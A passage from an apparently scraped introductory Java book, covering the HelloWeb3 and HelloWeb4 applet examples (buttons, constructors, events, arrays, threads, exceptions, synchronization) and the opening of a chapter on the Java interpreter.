Furthermore, interfaces provide an important escape clause to the rule that any new class can only extend a single class (formally called "single inheritance"). They provide most of the advantages of multiple inheritance (a feature of languages like C++) without the confusion. A class in Java can only extend one class, but can implement as many interfaces as it wants; our next applet will implement two interfaces, and the final example in this chapter will implement three. In many ways, interfaces are almost like classes, but not quite. They can be used as data types, they can even extend other interfaces (but not classes), and can be inherited by classes (if class A implements interface B, subclasses of A also implement B). The crucial difference is that applets don't actually inherit methods from interfaces; the interfaces only specify the methods the applet must have.

Previous | Home | Next
Hello Web! | Book Index | Hello Web! III: The Button Strikes!
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.3 Hello Web! III: The Button Strikes!

Previous Chapter 2
A First Applet 		Next

2.3 Hello Web! III: The Button Strikes!

Well, now that we have those concepts under control, we can move on to some fun stuff. HelloWeb3 brings us a new graphical interface component: the Button. We add a Button component to our applet that changes the color of our text each time the button is pressed. Our new example is shown below.

import java.applet.Applet;
import java.awt.*;
import java.awt.event.*;
public class HelloWeb3 extends Applet
    implements MouseMotionListener, ActionListener {
    int messageX = 125, messageY = 95;
    String theMessage;
    Button theButton;
    int colorIndex = 0;
    static Color[] someColors = {
        Color.black, Color.red, Color.green, Color.blue, Color.magenta };

    public void init() {
        theMessage = getParameter("message");
        theButton = new Button("Change Color");
        add(theButton);
        addMouseMotionListener(this);
        theButton.addActionListener(this);
    }

    public void paint( Graphics gc ) {
        gc.drawString( theMessage, messageX, messageY );
    }
    public void mouseDragged( MouseEvent e ) {
        messageX = e.getX();
        messageY = e.getY();
        repaint();
    }
    public void mouseMoved( MouseEvent e ) { }
    public void actionPerformed( ActionEvent e ) {
        if ( e.getSource() == theButton ) {
            changeColor();
        }
    }
    synchronized private void changeColor() {
        if ( ++colorIndex == someColors.length )
            colorIndex = 0;
        setForeground( currentColor() );
        repaint();
    }
    synchronized private Color currentColor() {
        return someColors[ colorIndex ];
    }
}

Create HelloWeb3 just as the other applets and put an <applet> tag referencing it in an HTML document. An <applet> tag just like the one for HelloWeb2 will do nicely. Run the example, and you should see the display shown in Figure 2.6. Drag the text. Each time you press the button the color should change. Call your friends! They should be duly impressed.

Figure 2.6: Hello Web! III

[Graphic: Figure 2-6]

The New Operator

So what have we added this time? Well, for starters we have a new variable:

Button theButton;

The theButton variable is of type Button and is going to hold an instance of the java.awt.Button class. The Button class, as you might expect, represents a graphical button, which should look like other buttons in your windowing system.

Two additional lines in init() actually create the button and cause it to be displayed in our applet:

theButton = new Button("Change Color");
add(theButton);

The first line brings us to something new. The new keyword is used to create an instance of a class. Recall that the variable we have declared is just an empty reference and doesn't yet point to a real object--in this case, an instance of the Button class. This is a fundamental and important concept. We have dealt with objects previously in our examples. We have assigned them to variables, and we have called methods in them. So far, however, these objects have always been handed to us ready to go, and we have not had to explicitly create them ourselves. In the case of our paint() method, we were given a Graphics object with which to draw. The system created this instance of the Graphics class for our area of the screen and passed it to us in the parameter variable gc. Our theMessage variable is of type String, and we used it to hold a String that was returned by the getParameter() method. In each case, some other method instantiated (created a new instance of) the class for us.

The closest we came to actually instantiating an object was when we passed the name of the HTML <applet> parameter as an argument to the getParameter() method. In that case, we created a String object and passed it as the argument, but we did it in a rather sneaky fashion. As I mentioned previously, String objects have special status in the Java language. Because strings are used so frequently, the Java compiler creates an instance of the String class for us whenever it comes across quoted text in our source code. String objects are, in all other respects, normal objects. (See Chapter 7, Basic Utility Classes.)

The new operator provides the general mechanism for instantiating objects. It's the feature of the Java language that creates a new instance of a specified class. It arranges for Java to allocate storage for the object and then calls the constructor method of the objects' class to initialize it.

Constructors

A constructor is a special method that is called to set up a new instance of a class. When a new object is created, Java allocates storage for it, sets variables to their default values, and then calls the constructor method for the class to do whatever application-level setup is required.

A constructor method looks like a method with the same name as its class. For example, the constructor for the Button class is called Button(). Constructors don't have a return type; by definition they return an object of that class. But like other methods, constructors can take arguments. Their sole mission in life is to configure and initialize newly born class instances, possibly using whatever information is passed to them in parameters.

It's important to understand the difference between a constructor and a method like our init() method. Constructors are special methods of a class that help set up and initialize an instance of a class when it's first created. The init() method of the Applet class serves a very similar purpose; however, it's quite different. Constructors are a feature of the Java language. Every class, including Applet, has constructors. init(), however, is just a method of the Applet class like any other. It's an application-level phenomenon that happens to perform initialization.

An object is created by using the new operator with the constructor for the class and any necessary arguments. The resulting object instance is returned as a value. In our example, we create a new instance of Button and assign it to our theButton variable:

theButton = new Button("Change Color");

This Button constructor takes a String as an argument and, as it turns out, uses it to set the label of the button on the screen. A class could also, of course, provide methods that allow us to configure an object manually after it's created or to change its configuration at a later time. Many classes do both; the constructor simply takes its arguments and passes them to the appropriate methods. The Button class, for example, has a public method, setLabel(), that allows us to set a Button's label at any time. Constructors with parameters are therefore a convenience that allows a sort of short hand to set up a new object.

Method Overloading

I said this Button constructor because there could be more than one. A class can have multiple constructors, each taking different parameters and possibly using them to do different kinds of setup. When there are multiple constructors for a class, Java chooses the correct one based on the types of arguments that are passed to it. We call the Button constructor and pass it a String argument, so Java locates the constructor method of the Button class that takes a single String argument and uses it to set up the object. This is called method overloading. All methods in Java, not just constructors, can be overloaded; this is one aspect of the object-oriented programming principle of polymorphism.

A constructor method that takes no arguments is called the default constructor. As you'll see in Chapter 7, Basic Utility Classes, default constructors play a special role in the initialization of inherited class members.

Garbage Collection

I've told you how to create a new object with the new operator, but I haven't said anything about how to get rid of an object when you are done with it. If you are a C programmer, you're probably wondering why not. The reason is that you don't have to do anything to get rid of objects when you are done with them.

The Java run-time system uses a garbage collection mechanism to deal with objects no longer in use. The garbage collector sweeps up objects not referenced by any variables and removes them from memory. Garbage collection is one of the most important features of Java. It frees you from the error-prone task of having to worry about details of memory allocation and deallocation.

Components

I have used the terms component and container somewhat loosely to describe graphical elements of Java applications. However, you may recall from Figure 2.3 that these terms are the names of actual classes in the java.awt package.

Component is a base class from which all of Java's GUI components are derived. It contains variables that represent the location, shape, general appearance, and status of the object, as well as methods for basic painting and event handling. The familiar paint() method we have been using in our example is actually inherited from the Component class. Applet is, of course, a kind of Component and inherits all of its public members, just as other (perhaps simpler) types of GUI components do.

The Button class is also derived from Component and therefore shares this functionality. This means that the developer of the Button class had methods like paint() available with which to implement the behavior of the Button object, just as we did when creating our applet. What's exciting is that we are perfectly free to further subclass components like Button and override their behavior to create our own special types of user-interface components.

Both Button and Applet are, in this respect, equivalent types of things. However, the Applet class is further derived from a class called Container, which gives it the added ability to hold other components and manage them.

Containers

A Button object is a simple GUI component. It makes sense only in the context of some larger application. The Container class is an extended type of Component that maintains a list of child components and helps to group them. The Container causes its children to be displayed and arranges them on the screen according to a particular scheme. A Container may also receive events related to its child components. As I mentioned earlier, if a component doesn't respond to a particular type of event by overriding the appropriate event-handling method and handling the event, the event is passed to the parent Container of the component. This is the default behavior for the standard Java AWT components, which gives us a great deal of flexibility in managing interface components. We could, for example, create a smart button by subclassing the Button class and overriding certain methods to deal with the action of being pressed. Alternatively, we could simply have the Button's container note which Button is pressed and handle the event appropriately. In the interest of keeping our examples contained in a single class, I am using the gestalt view and letting our Button's container, HelloWeb3, deal with its events.

Remember that a Container is a Component too and, as such, can be placed alongside other Component objects in other Containers, in a hierarchical fashion, as shown in Figure 2.7. Our HelloWeb3 applet is a kind of Container and can therefore hold and manage other Java AWT components and containers like buttons, sliders, text fields, and panels.

Figure 2.7: A hypothetical layout of Java containers and components

[Graphic: Figure 2-7]

In Figure 2.7, the italicized items are components, and the bold items are containers. The keypad is implemented as a container object that manages a number of keys. The keypad itself is contained in the GizmoTool container object.

Layout

After creating the Button object, we'd like to stick it in our applet. To do so, we invoke the add() method of Applet, passing the Button object as a parameter:

add(theButton);

add() is a method inherited by our Applet from the Container class. It appends our Button to the list of components HelloWeb3 manages. Thereafter, HelloWeb3 is responsible for the Button: the applet causes the button to be displayed, it determines where in our part of the screen the button should be placed, and it receives events when the button is pushed.

Java uses an object called a LayoutManager to determine the precise location in HelloWeb3's screen area the Button is displayed. A LayoutManager object embodies a particular scheme for arranging components on the screen and adjusting their sizes. You'll learn more about layout managers in Chapter 12, Layout Managers. There are several standard layout managers to choose from, and we can, of course, create new ones. In our case, we have not specified a layout manager, so we get the default one, which means our button appears centered at the top of the applet.

Subclassing and Subtypes

If you look up the add() method of the Container class, you'll see that it takes a Component object as an argument. But in our example we've given it a Button object. What's going on?

Well, if you check the inheritance diagram in Figure 2.3 again, you'll see that Button is a subclass of the Component class. Because a subclass is a kind of its superclass and has, at minimum, the same public methods and variables, we can use an instance of a subclass anywhere we use an instance of its superclass. This is a very important concept, and it's a second aspect of the object-oriented principle of polymorphism. Button is a kind of Component, and any method that expects a Component as an argument will accept a Button.

More Events and Interfaces

Now that we have a Button, we need some way to communicate with it: that is, to get the events it generates. We could just listen for mouse clicks, figure out whether they were close enough to the button, and act accordingly. But that would take a lot of work, and would give up the advantages of using a pre-built component. Buttons generate a special kind of event called an ActionEvent when someone clicks on them. To receive these events, we have added another method to our class:

public void actionPerformed( ActionEvent e ) {
    if ( e.getSource() == theButton ) {
        changeColor();
    }
}

If you understood the previous applet, you shouldn't be surprised to see that HelloWeb3 now declares that it implements the ActionListener interface, in addition to MouseMotionListener. ActionListener requires us to implement an actionPerformed() method, which is called whenever an ActionEvent occurs. You also shouldn't be surprised to see that we added a line to init(), registering the applet as a listener for the button's action events: this is the call to theButton.addActionListener(this).

The actionPerformed() method takes care of any action events that arise. First, it checks to make sure that the event's source (the component generating the event) is what we think it should be: theButton, the only button we've put in the applet. This may seem superfluous; after all, what else could possibly generate an action event? In this applet, nothing. But it's a good idea to check, because another applet may have several buttons, and you may need to figure out which one is meant. Or you may add a second button to this applet later, and you don't want the applet to break something. To make this check, we call the getSource() method of the ActionEvent object, e. Then we use the "==" operator to make sure that the event source matches theButton. Remember that in Java, == is a test for identity, not equality; it is true if the event source and theButton are the same object. The distinction between equality and identity is important. We would consider two String objects to be equal if they have the same characters in the same sequence. However, they might not be the same object. In Chapter 5, Objects in Java, we'll look at the equals() method, which tests for equivalence. Once we establish that the event e comes from the right button, we call our changeColor() method, and we're done.

You may be wondering why we don't have to change mouseDragged() now that we have a Button in our applet. The rationale is that the coordinates of the event are all that matter for this method. We are not particularly concerned if the event happens to fall within an area of the screen occupied by another component. This means that you can drag the text right through the Button and even lose it behind the Button if you aren't careful: try it and see!

Color Commentary

To support HelloWeb3's colorful side we have added a couple of new variables and two helpful methods. We create and initialize an array of Color objects representing the colors through which we cycle when the button is pressed. We also declare an integer variable that serves as an index to this array, specifying the current color:

Color[] someColors = {
    Color.black, Color.red, Color.green, Color.blue, Color.magenta };
int colorIndex;

A number of things are going on here. First let's look at the Color objects we are putting into the array. Instances of the java.awt.Color class represent colors and are used by all classes in the java.awt package that deal with color graphics. Notice that we are referencing variables such as Color.black and Color.red. These look like normal references to an object's instance variables; however Color is not an object, it's a class. What is the meaning of this?

Static Members

If you recall our discussion of classes and instances, I hinted then that a class can contain methods and variables that are shared among all instances of the class. These shared members are called static variables and static methods. The most common use of static variables in a class is to hold predefined constants or unchanging objects all of the instances can use.

There are two advantages to this approach. The more obvious advantage is that static members take up space only in the class; the members are not replicated in each instance. The second advantage is that static members can be accessed even if no instances of the class exist. A hypothetical Component class might have a static variable called maximumWidth. Some other class that has to deal with this component, such as a layout manager, might want to know the maximum width of such a component, even if there aren't any around at the moment. Since maximumWidth is a static variable, the layout manager can get this information.

An instance of the Color class represents a color. For convenience, the Color class contains some static, predefined color objects with friendly names like green, red, and (my favorite) magenta. Color.green is thus a predefined Color object that is set to a green color. In this case, these static members of Color are not changeable, so they are effectively constants and can be optimized as such by the compiler. Constant static members make up for the lack of a #define construct in Java. However, static variables don't, in general, have to be constant. I'll say more about static class members in Chapter 5, Objects in Java. The alternative to using these predefined colors is to create a color manually by specifying its red, green, blue (RGB) components using a Color class constructor.

Arrays

Next, we turn our attention to the array. We have declared a variable called someColors, which is an array of Color objects. Arrays are syntactically supported by the Java language; however, they are true, first-class objects. This means that an array is, itself, a type of object that knows how to hold an indexed list of some other type of object. An array is indexed by integers; when you index an array, the resulting value is the object in the corresponding slot in the array. Our code uses the colorIndex variable to index someColors. It's also possible to have an array of simple primitive types, rather than objects.

When we declare an array, we can initialize it by using the familiar C-like curly brace construct. Specifying a comma-separated list of elements inside of curly braces is a convenience that instructs the compiler to create an instance of the array with those elements and assign it to our variable. Alternatively, we could have just declared our someColors variable and, later, allocated an array object for it and assigned individual elements to that array's slots. See Chapter 4, The Java Language for a complete discussion of arrays.

Our Color Methods

So, we now have an array of Color objects and a variable with which to index them. What do we do with them? Well, we have declared two private methods that do the actual work for us. The private modifier on these methods specifies that they can be called only by other methods in the same instance of the class. They are not visible outside of the object. We declare members to be private to hide the detailed inner workings of a class from the outside world. This is called encapsulation and is another tenet of object-oriented design, as well as good programming practice. Private methods are also often created as helper functions for use solely within the class implementation.

The first method, currentColor(), is simply a convenience routine that returns the Color object representing the current text color. It returns the Color object in the someColors array at the index specified by our colorIndex variable:

synchronized private Color currentColor() {
    return someColors[ colorIndex ];
}

We could just as readily have used the expression someColors[colorIndex] everywhere we use currentColor(); however, creating methods to wrap common tasks is another way of shielding ourselves from the details of our class. In an alternative implementation, we might have shuffled off details of all color-related code into a separate class. We could have created a class that takes an array of colors in its constructor and then provided two methods: one to ask for the current color and one to cycle to the next color (just some food for thought).

The second method, changeColor(), is responsible for incrementing the colorIndex variable to point to the next Color in the array. changeColor() is called from our action() method whenever the button is pressed.

synchronized private void changeColor() {
    if ( ++colorIndex == someColors.length )
        colorIndex = 0;
    setForeground( currentColor() );
    repaint();
}

We increment colorIndex and compare it to the length of the someColors array. All array objects have a variable called length that specifies the number of elements in the array. If we have reached the end of the array, we reset our index to zero and start over. After changing the currently selected color, we do two things. First, we call the applet's setForeground() method, which changes the color used to draw text in the applet and the color of the button's label. Then we call repaint() to cause the applet to be redrawn with the new color for the draggable message.

So, what is the synchronized keyword that appears in front of our currentColor() and changeColor() methods? Synchronization has to do with threads, which we'll examine in the next section. For now, all you need know is that the synchronized keyword indicates these two methods can never be running at the same time. They must always run one after the other.

The reason is that in changeColor() we increment colorIndex before testing its value. That means that for some brief period of time while Java is running through our code, colorIndex can have a value that is past the end of our array. If our currentColor() method happened to run at that same moment, we would see a run-time "array out of bounds" error. There are, of course, ways in which we could fudge around the problem in this case, but this simple example is representative of more general synchronization issues we need to address. In the next section, you'll see that Java makes dealing with these problems easy through language-level synchronization support.

Previous | Home | Next
Hello Web! II: The Sequel | Book Index | Hello Web! IV: Netscape's Revenge
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.4 Hello Web! IV: Netscape's Revenge

Previous Chapter 2
A First Applet 		Next

2.4 Hello Web! IV: Netscape's Revenge

We have explored quite a few features of Java with the first three versions of the HelloWeb applet. But until now, our applet has been rather passive; it has waited patiently for events to come its way and responded to the whims of the user. Now our applet is going to take some initiative--HelloWeb4 will blink! The code for our latest version is shown below.

import java.applet.Applet;
import java.awt.*;
import java.awt.event.*;
public class HelloWeb4 extends Applet
    implements MouseMotionListener, ActionListener, Runnable {
    int messageX = 125, messageY = 95;
    String theMessage;
    Button theButton;
    int colorIndex = 0;
    static Color[] someColors = {
        Color.black, Color.red, Color.green, Color.blue, Color.magenta };
    Thread blinkThread;
    boolean blinkState;
    public void init() {
        theMessage = getParameter("message");
        theButton = new Button("Change Color");
        add(theButton);
        addMouseMotionListener(this);
        theButton.addActionListener(this);
    }

    public void paint( Graphics graphics ) {
        graphics.setColor( blinkState ? Color.white : currentColor() );
        graphics.drawString( theMessage, messageX, messageY );
    }
    public void mouseDragged( MouseEvent e ) {
        messageX = e.getX();
        messageY = e.getY();
        repaint();
    }
    public void mouseMoved( MouseEvent e ) { }
    public void actionPerformed( ActionEvent e ) {
        if ( e.getSource() == theButton ) {
            changeColor();
        }
    }
    synchronized private void changeColor() {
        if ( ++colorIndex == someColors.length )
            colorIndex = 0;
        theButton.setForeground( currentColor() );
        repaint();
    }
    synchronized private Color currentColor() {
        return someColors[ colorIndex ];
    }
    public void run() {
        while ( true ) {
            blinkState = !blinkState;
            repaint();
            try {
                Thread.sleep(500);
            } catch (Exception e ) {
                // Handle error condition here...
            }
        }
    }
    public void start() {
        if ( blinkThread == null ) {
            blinkThread = new Thread(this);
            blinkThread.start();
        }
    }
    public void stop() {
        if ( blinkThread != null ) {
            blinkThread.stop();
            blinkThread = null;
        }
    }
}

If you create HelloWeb4 as you have the other applets and then run it in a Java-enabled Web browser, you'll see that the text does in fact blink. My apologies if you don't like blinking text--I'm not overly fond of it either--but it does make for a simple, instructive example.

Threads

All the changes we've made in HelloWeb4 have to do with setting up a separate thread of execution to make the text of our applet blink. Java is a multithreaded language, which means there can be many threads running at the same time. A thread is a separate flow of control within a program. Conceptually, threads are similar to processes, except that unlike processes, multiple threads share the same address space, which means that they can share variables and methods (but they have their own local variables). Threads are also quite lightweight in comparison to processes, so it's conceivable for a single application to be running hundreds of threads concurrently.

Multithreading provides a way for an application to handle many different tasks at the same time. It's easy to imagine multiple things going on at the same time in an application like a Web browser. The user could be listening to an audio clip while scrolling an image, and in the background the browser is downloading an image. Multithreading is especially useful in GUI-based applications, as it can improve the interactive performance of these applications.

Unfortunately for us, programming with multiple threads can be quite a headache. The difficulty lies in making sure routines are implemented so they can be run by multiple concurrent threads. If a routine changes the value of a state variable, for example, then only one thread can be executing the routine at a time. Later in this section, we'll examine briefly the issue of coordinating multiple thread's access to shared data. In other languages, synchronization of threads can be an extremely complex and error-prone endeavor. You'll see that Java gives you a few simple tools that help you deal with many of these problems. Java threads can be started, stopped, suspended, and prioritized. Threads are preemptive, so a higher priority thread can interrupt a lower priority thread when vying for processor time. See Chapter 6, Threads for a complete discussion of threads.

The Java run-time system creates and manages a number of threads. I've already mentioned the AWT thread, which manages repaint() requests and event processing for GUI components that belong to the java.awt package. A Java-enabled Web browser typically has at least one separate thread of execution it uses to manage the applets it displays. Until now, our example has done most of its work from methods of the Applet class, which means that is has been borrowing time from these threads. Methods like mouseDragged() and actionPerformed() are invoked by the AWT thread and run on its time. Similarly, our init() method is called by a thread in the Web browser. This means we are somewhat limited in the amount of processing we do within these methods. If we were, for instance, to go into an endless loop in our init() method, our applet would never appear, as it would never finish initializing. If we want an applet to perform any extensive processing, such as animation, a lengthy calculation, or communication, we should create separate threads for these tasks.

The Thread Class

As you might have guessed, threads are created and controlled as Thread objects. We have added a new instance variable, blinkThread, to our example to hold the Thread that handles our blinking activity:

Thread blinkThread;

An instance of the Thread class corresponds to a single thread. It contains methods to start, control, and stop the thread's execution. Our basic plan is to create a Thread object to handle our blinking code. We call the Thread's start() method to begin execution. Once the thread starts, it continues to run until we call the Thread's stop() method to terminate it.

But Java doesn't allow pointers to methods, so how do we tell the thread which method to run? Well, the Thread object is rather picky; it always expects to execute a method called run() to perform the action of the thread. The run() method can, however, with a little persuasion, be located in any class we desire.

We specify the location of the run() method in one of two ways. First, the Thread class itself has a method called run(). One way to execute some Java code in a separate thread is to subclass Thread and override its run() method to do our bidding. In this case, we simply create an instance of this subclass and call its start() method.

But it's not always desirable or possible to create a subclass of Thread to contain our run() method. In this case, we need to tell the Thread which object contains the run() method it should execute. The Thread class has a constructor that takes an object reference as its argument. If we create a Thread object using this constructor and call its start() method, the Thread executes the run() method of the target object, rather than its own. In order to accomplish this, Java needs to have a guarantee that the object we are passing it does indeed contain a compatible run() method. We already know how to make such a guarantee: we use an interface. Java provides an interface named Runnable that must be implemented by any class that wants to become a Thread.

The Runnable Interface

The second technique I described for creating a Thread object involved passing an object that implements the Runnable interface to the Thread constructor. The Runnable interface specifies that the object contains a run() method that takes no arguments and returns no value. This method is called automatically when the system needs to start the thread.

Sticking with our technique for implementing our applet in a single class, we have opted to add the run() method for blinkThread to our HelloWeb4 class. This means that HelloWeb4 needs to implement the Runnable interface. We indicate that the class implements the interface in our class declaration:

public class HelloWeb4 extends Applet
    implements MouseMotionListener, ActionListener, Runnable {...}

At compile time, the Java compiler checks to make sure we abide by this statement. We have carried through by adding an appropriate run() method to our applet. Our run() method has the task of changing the color of our text a couple of times a second. It's a very short routine, but I'm going to delay looking at it until we tie up some loose ends in dealing with the Thread itself.

start( ) and stop( )

Now that we know how to create a Thread to execute our applet's run() method, we need to figure out where to actually do it. The start() and stop() methods of the Applet class are similar to init(). The start() method is called when an applet is first displayed. If the user then leaves the Web document or scrolls the applet off the screen, the stop() method is invoked. If the user subsequently returns, the start() method is called again, and so on. Unlike init(), start() and stop() can be called repeatedly during the lifetime of an applet.

The start() and stop() methods of the Applet class have absolutely nothing to do with the Thread object, except that they are a good place for an applet to start and stop a thread. An applet is responsible for managing the threads that it creates. It would be considered rude for an applet to continue such tasks as animation, making noise, or performing extensive calculations long after it's no longer visible on the screen. It's common practice, therefore, to start a thread when an applet becomes visible and stop it when the applet is no longer visible.

Here's the start() method from HelloWeb4:

public void start() {
    if ( blinkThread == null ) {
        blinkThread = new Thread(this);
        blinkThread.start();
    }
}

The method first checks to see if there is an object assigned to blinkThread; recall that an uninitialized instance variable has a default value of null. If not, the method creates a new instance of Thread, passing the target object that contains the run() method to the constructor. Since HelloWeb4 contains our run() method, we pass the special variable this to the constructor to let the thread know where to find the run() method it should run. this always refers to our object. Finally, after creating the new Thread, we call its start() method to begin execution.

Our stop() method takes the complimentary position:

public void stop() {
    if ( blinkThread != null ) {
        blinkThread.stop();
        blinkThread = null;
    }
}

This method checks to see if blinkThread is empty. If not, it calls the thread's stop() method to terminate its execution. By setting the value of blinkThread back to null, we have eliminated all references to the thread object we created in the start() method, so the garbage collector can dispose of the object.

run( )

Our run() method does its job by setting the value of the variable blinkState. We have added blinkState, a boolean value, to represent whether we are currently blinking on or off:

boolean blinkState;

The setColor() line of our paint() method has been modified slightly to handle blinking. The call to setColor() now draws the text in white when blinkState is true:

gc.setColor( blinkState ? Color.white : currentColor() );

Here we are being somewhat terse and using the C-like ternary operator to return one of two alternate color values based on the value of blinkState.

Finally, we come to the run() method itself:

public void run() {
    while ( true ) {
        blinkState = !blinkState;
        repaint();
        try {
            Thread.sleep(500);
        }
        catch (InterruptedException e ) {
        }
    }
}

At its outermost level, run() uses an infinite while loop. This means the method will run continuously until the thread is terminated by a call to the controlling Thread object's stop() method.

The body of the loop does three things on each pass:

  • Flips the value of blinkState to its opposite value using the not operator, !.

  • Calls repaint() so that our paint() method can have an opportunity to redraw the text in accordance with blinkState.

  • Uses a try/catch statement to trap for an error in our call to the sleep() method of the Thread class. sleep() is a static method of the Thread class. The method can be invoked from anywhere and has the effect of putting the current thread to sleep for the specified number of milliseconds. The effect here is to give us approximately two blinks per second.

Exceptions

The try/catch statement in Java is used to handle special conditions called exceptions. An exception is a message that is sent, normally in response to an error, during the execution of a statement or a method. When an exceptional condition arises, an object is created that contains information about the particular problem or condition. Exceptions act somewhat like events. Java stops execution at the place where the exception occurred, and the exception object is said to be thrown by that section of code. Like events, an exception must be delivered somewhere and handled. The section of code that receives the exception object is said to catch the exception. An exception causes the execution of the instigating section of code to abruptly stop and transfers control to the code that receives the exception object.

The try/catch construct allows you to catch exceptions for a section of code. If an exception is caused by a statement inside of a try clause, Java attempts to deliver the exception to the appropriate catch clause. A catch clause looks like a method declaration with one argument and no return type. If Java finds a catch clause with an argument type that matches the type of the exception, that catch clause is invoked. A try clause can have multiple catch clauses with different argument types; Java chooses the appropriate one in a way that is analogous to the selection of overloaded methods.

If there is no try/catch clause surrounding the code, or a matching catch clause is not found, the exception is thrown up the call stack to the calling method. If the exception is not caught there, it's thrown up another level, and so on until the exception is handled. This provides a very flexible error-handling mechanism, so that exceptions in deeply nested calls can bubble up to the surface of the call stack for handling. As a programmer, you need to know what exceptions a particular statement can generate, so methods in Java are required to declare the exceptions they can throw. If a method doesn't handle an exception itself, it must specify that it can throw that exception, so that the calling method knows that it may have to handle it. See Chapter 4, The Java Language for a complete discussion of exceptions and the try/catch clause.

So, why do we need a try/catch clause around our sleep() call? What kind of exception can Thread's sleep() method throw and why do we care about it, when we don't seem to check for exceptions anywhere else? Under some circumstances, Thread's sleep() method can throw an InterruptedException, indicating that it was interrupted by another thread. Since the run() method specified in the Runnable interface doesn't declare it can throw an InterruptedException, we must catch it ourselves, or the compiler will complain. The try/catch statement in our example has an empty catch clause, which means that it handles the exception by ignoring it. In this case, our thread's functionality is so simple it doesn't matter if it's interrupted. All of the other methods we have used either handle their own exceptions or throw only general-purpose exceptions that are assumed to be possible everywhere and don't need to be explicitly declared.

A Word About Synchronization

At any given time, there can be a number of threads running in the Java interpreter. Unless we explicitly coordinate them, these threads will be executing methods without any regard for what the other threads are doing. Problems can arise when these methods share the same data. If one method is changing the value of some variables at the same time that another method is reading these variables, it's possible that the reading thread might catch things in the middle and get some variables with old values and some with new. Depending on the application, this situation could cause a critical error.

In our HelloWeb examples, both our paint() and mouseDrag() methods access the messageX and messageY variables. Without knowing the implementation of our particular Java environment, we have to assume that these methods could conceivably be called by different threads and run concurrently. paint() could be called while mouseDrag() is in the midst of updating messageX and messageY. At that point, the data is in an inconsistent state and if paint() gets lucky, it could get the new x value with the old y value. Fortunately, in this case, we probably would not even notice if this were to happen in our application. We did, however, see another case, in our changeColor() and currentColor() methods, where there is the potential for a more serious "out of bounds" error to occur.

The synchronized modifier tells Java to acquire a lock for the class that contains the method before executing that method. Only one method can have the lock on a class at any given time, which means that only one synchronized method in that class can be running at a time. This allows a method to alter data and leave it in a consistent state before a concurrently running method is allowed to access it. When the method is done, it releases the lock on the class.

Unlike synchronization in other languages, the synchronized keyword in Java provides locking at the language level. This means there is no way that you can forget to unlock a class. Even if the method throws an exception or the thread is terminated, Java will release the lock. This feature makes programming with threads in Java much easier than in other languages. See Chapter 6, Threads for more details on coordinating threads and shared data.

Whew! Now it's time to say goodbye to HelloWeb. I hope that you have developed a feel for the major features of the Java language, and that this will help you as you go on to explore the details of programming with Java.

Previous | Home | Next
Hello Web! III: The Button Strikes! | Book Index | Tools of the Trade
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] Tools of the Trade

Previous Chapter 3 Next

3. Tools of the Trade

Contents:
The Java Interpreter
The Class Path
The Java Compiler
The Netscape Alternative
The Applet Tag

As I described at the end of Chapter 1, Yet Another Language?, by now you should have a number of options for Java development environments. The examples in this book were developed using the Solaris version of the Java Development Kit (JDK), so I'm going to describe those tools here. When I refer to the compiler or interpreter, I'll be referring to the command-line versions of these tools, so the book is decidedly biased toward those of you who are working in a UNIX or DOS-like environment with a shell and filesystem. However, the basic features I'll be describing for Sun's Java interpreter and compiler should be applicable to other Java environments as well.

In this chapter, I'll describe the tools you'll need to compile and run Java applications. I'll also cover the HTML <applet> tag and other information you'll need to know to incorporate Java applets in your Web pages.

3.1 The Java Interpreter

A Java interpreter is software that implements the Java virtual machine and runs Java applications. It can be a separate piece of software like the one that comes with the JDK, or part of a larger application like the Netscape Navigator Web browser. It's likely that the interpreter itself is written in a native, compiled language for your particular platform. Other tools, like Java compilers and development environments, can (and one could argue, should) be written in Java.

The Java interpreter performs all of the activities of the Java run-time system. It loads Java class files and interprets the compiled byte-code. It verifies compiled classes that are loaded from untrusted sources by applying the rules discussed in Chapter 1, Yet Another Language?. In an implementation that supports dynamic, or "just in time," compilation, the interpreter also serves as a specialized compiler that turns Java byte-code into native machine instructions.

Throughout the rest of this book, we'll be building both standalone Java programs and applets. Both are kinds of Java applications run by a Java interpreter. The difference is that a standalone Java application has all of its parts; it's a complete program that runs independently. An applet, as I described in Chapter 1, Yet Another Language?, is more like an embeddable program module; it relies on an applet viewer for support. Although Java applets are, of course, compiled Java code, the Java interpreter can't directly run them because they are used as part of a larger application. An applet-viewer application could be a Web browser like Sun's HotJava or Netscape Navigator, or a separate applet viewer application like the one that comes with Sun's Java Development Kit. All of Sun's tools, including HotJava, are written entirely in Java. Both HotJava and the applet viewer are standalone Java applications run directly by the Java interpreter; these programs implement the additional structure needed to run Java applets.

Sun's Java interpreter is called java. To start a standalone application with it, you specify an initial class to be loaded. You can also specify options to the interpreter, as well as any command-line arguments that are needed for the application:

% java [interpreter options] class name [program arguments]

The class should be specified as a fully qualified class name including the class package, if any. Note, however, that you don't include the .class file extension. Here are a few examples:

% java animals.birds.BigBird
% java test

java searches for the class in the current class path, which is a list of locations where packages of classes are stored. I'll discuss the class path in detail in the next section, but for now you should know that you can set the class path with the -classpath option.

There are a few other interpreter options you may find useful. The -cs or -checksource option tells java to check the modification times on the specified class file and its corresponding source file. If the class file is out of date, it's automatically recompiled from the source. The -verify, -noverify, and -verifyremote options control the byte-code verification process. By default, java runs the byte-code verifier only on classes loaded from an untrusted source; this is the -verifyremote option. If you specify -verify, the byte-code verifier is run on all classes; -noverify means that the verifier is never run.

Once the class is loaded, java follows a very C-like convention and looks to see if the class contains a method called main(). If it finds an appropriate main()method, the interpreter starts the application by executing that method. From there, the application can start additional threads, reference other classes, and create its user interface or other structures, as shown in Figure 3.1.

Figure 3.1: The Java interpreter starting a Java application

[Graphic: Figure 3-1]

In order to run, main() must have the right method signature. A method signature is a collection of information about the method, as in a C prototype or a forward function declaration in other languages. It includes the method's name, type, and visibility, as well as its arguments and return type. In this case, main() must be a public, static method that takes an array of String objects as its argument and does not return any value (void):

public static void main ( String [] myArgs )

Because main() is a public method, it can be accessed directly from any other class using the name of the class that contains it. We'll discuss the implications of visibility modifiers such as public in Chapter 5, Objects in Java.

The main() method's single argument, the array of String objects, holds the command-line arguments passed to java. As in C, the name that we give the parameter doesn't matter, only the type is important. Unlike C, the content of myArgs is a true array. There's no need for an argument count parameter, because myArgs knows how many arguments it contains and can happily provide that information:

int argc = myArgs.length;

